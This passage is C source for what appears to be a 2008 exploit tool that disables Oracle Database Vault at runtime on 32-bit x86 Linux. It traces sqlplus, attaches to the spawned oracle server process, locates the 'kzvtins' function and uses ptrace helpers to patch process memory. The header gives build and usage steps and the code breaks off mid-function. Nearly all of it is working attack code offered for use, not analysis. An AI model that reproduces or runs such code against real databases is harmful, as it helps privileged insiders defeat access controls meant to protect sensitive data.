/* * original release: http://vnull.pcnet.com.pl/blog/?p=92 * * ora_dv_mem_off.c version 0x1 * ORACLE Database Vault runtime disabler (x86_32 Linux only) * AKA give_back_the_freedom * by Jakub 'vnull' Wartak 26.02.2008 * 0-day PRIVATE! D0 N0T DI$TRIBUT3! * * Tested on 10.2.0.3, CentOS 5. * For other architectures/OS combos consider having fun with gdb ;] * * Whole Database Vault architecture is flawed if DBA has access to * oracle user process space. IMHO you could limit risk by creating * UNIX accounts for DBAs with membership of OSDBA group (along with * oracle SUID binary and shared memory with only read permission * for OSDBA group [check SHM privs: ipcs -cm] ). But how those DBAs * would cope with some serious crashes (requiring for e.g. restoring * controlfile) ? * * Usage: * Set enviorniment variables: ORACLE_BASE, ORACLE_SID, ORACLE_HOME * $ gcc -Wall ora_dv_mem_off.c -o ora_dv_mem_off -lbfd -liberty * $ ./ora_dv_mem_off * * REQUIEREMENTS: * + run as oracle process owner (by default "oracle") * + working ptrace(), it won't work in systems with ptrace() * disabled (grsecurity and some LKMs). * + BFD headers and library (binutils-devel) * * THE DOCUMENT IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. THE * CONTENT MAY CHANGE WITHOUT NOTICE. IN NO EVENT SHALL THE AUTHORS BE * LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES, INJURIES, * LOSSES OR UNLAWFUL OFFENCES. * * USE AT OWN RISK! * */ #include #include #include #include #include #include #include #include #include #include #include #include #include /* for __NR_clone */ /* you may need to alter this */ #define ORABASE "/u01/app/oracle/product/10.2.0/bin" /* * Magic... (at&t syntax) * push %ebp * mov %esp, %ebp * mov , %eax * [..] * where DV_FLAG is 32-bit long */ #define ASM_DV_FUNC_PROLOG "\x55\x8b\xec\xb8" const char *sqlplus = ORABASE "/sqlplus"; const char *oracle = ORABASE "/oracle"; const int long_size = sizeof(long); pid_t child; long locate_dv_func(void) { asymbol **symbol_table; bfd *b = bfd_openr(oracle, NULL); if (b == NULL) { perror("bfd_openr"); exit(-1); } bfd_check_format(b, bfd_object); long storage_needed = bfd_get_symtab_upper_bound(b); if(storage_needed < 0) { fprintf(stderr, "wtf?!\n"); exit(-1); } if((symbol_table = (asymbol**)malloc(storage_needed)) == 0) { perror("malloc"); exit(-1); } int num_symbols; if((num_symbols = bfd_canonicalize_symtab(b, symbol_table)) <= 0) { fprintf(stderr, "no symbols info\n"); exit(-1); } int i; for(i = 0; i < num_symbols; i++) { char *symname = bfd_asymbol_name(symbol_table[i]); void *symaddr = bfd_asymbol_value(symbol_table[i]); /* don't even ask why this funciton, for real hardcore: gdb -p */ if(!strcmp(symname, "kzvtins")) { fprintf(stderr, "[%d] symbol \"kzvtins\" at 0x%lx\n", getpid(), (long) symaddr); return (long) symaddr; } } return 0; } /* from "Playing with ptrace(), part#2, Linux Journal, author: Pradeep Padala */ void getdata(pid_t child, long addr, char *str, int len) { char *laddr; int i, j; union u { long val; char chars[long_size]; } data; i = 0; j = len / long_size; laddr = str; while(i < j) { data.val = ptrace(PTRACE_PEEKDATA, child, addr + i * 4, NULL); memcpy(laddr, data.chars, long_size); ++i; laddr += long_size; } j = len % long_size; if(j != 0) { data.val = ptrace(PTRACE_PEEKDATA,child, addr + i * 4,NULL); memcpy(laddr, data.chars, j); } str[len] = '\0'; } void putdata(pid_t child, long addr, char *str, int len) { char *laddr; int i, j; union u { long val; char chars[long_size]; } data; i = 0; j = len / long_size; laddr = str; while(i < j) { memcpy(data.chars, laddr, long_size); ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val); ++i; laddr += long_size; } j = len % long_size; if(j != 0) { memcpy(data.chars, laddr, j); ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val); } } void cleanup(void) { int s; kill(child, SIGKILL); wait(&s); } int main(int ac, char **av) { int status; pid_t orapid = 0; bfd_init(); if((child = fork()) == -1) { perror("fork"); exit(-1); } if(child == 0) { if(ptrace(PTRACE_TRACEME, 0, NULL, NULL)==-1) { perror("unable to ptrace(PTRACE_TRACEME)"); exit(-1); } /* launch sqlplus */ if(execl(sqlplus, "sqlplus", "/nolog", NULL)==-1) { perror("execl"); exit(-1); } /* not reached */ exit(0); } if(atexit(cleanup) != 0) { fprintf(stderr, "[%d] unable to register cleanup function\n", getpid()); } wait(&status); if(WIFSTOPPED(status)) { fprintf(stderr, "[%d] starting to trace sqlplus process (%d)\n", getpid(), child); } fprintf(stderr, "[***] NOW TYPE IN SQLPLUS: conn / as sysdba\n"); while(!orapid) { struct user_regs_struct uregs; ptrace(PTRACE_SYSCALL, child, 0, 0); wait(&status); ptrace(PTRACE_GETREGS, child, 0, &uregs); /* ouch! no fork()? clone()! */ if(uregs.orig_eax==__NR_clone) { long *regs = 0; /* fprintf(stderr, "[%d] clone() syscall\n", getpid()); */ ptrace(PTRACE_SYSCALL, child, 0, 0); wait(&status); if((orapid = ptrace(PTRACE_PEEKUSER, child, ®s[EAX], 0)) == -1) { perror("ptrace(PTRACE_PEEKUSER): unable to get clone() retvalue\n"); exit(-1); } fprintf(stderr, "[%d] clone() syscall in %d, tracing orapid=%d\n", getpid(), child, orapid); /* attach to orapid, detach from sqlplus */ if(ptrace(PTRACE_ATTACH, orapid, 0, 0) == -1) { perror("ptrace(PTRACE_ATTACH) to orapid"); exit(-1); } while(1) { ptrace(PTRACE_SYSCALL, orapid, 0, 0); wait(&status); ptrace(PTRACE_GETREGS, orapid, 0, &uregs); if(uregs.orig_eax==__NR_execve) { fprintf(stderr, "[%d] execve() syscall in %d, \n", getpid(), orapid); /* end ptrace of syscall */ ptrace(PTRACE_SYSCALL, orapid, 0, 0); break; } else { //fprintf(stderr, "got %ld\n", uregs.orig_eax); ptrace(PTRACE_SYSCALL, orapid, 0, 0); } } if(ptrace(PTRACE_DETACH, child, 0, 0) == -1) { perror("ptrace(PTRACE_DETACH) from child"); exit(-1); } } else if(uregs.orig_eax==__NR_execve) { fprintf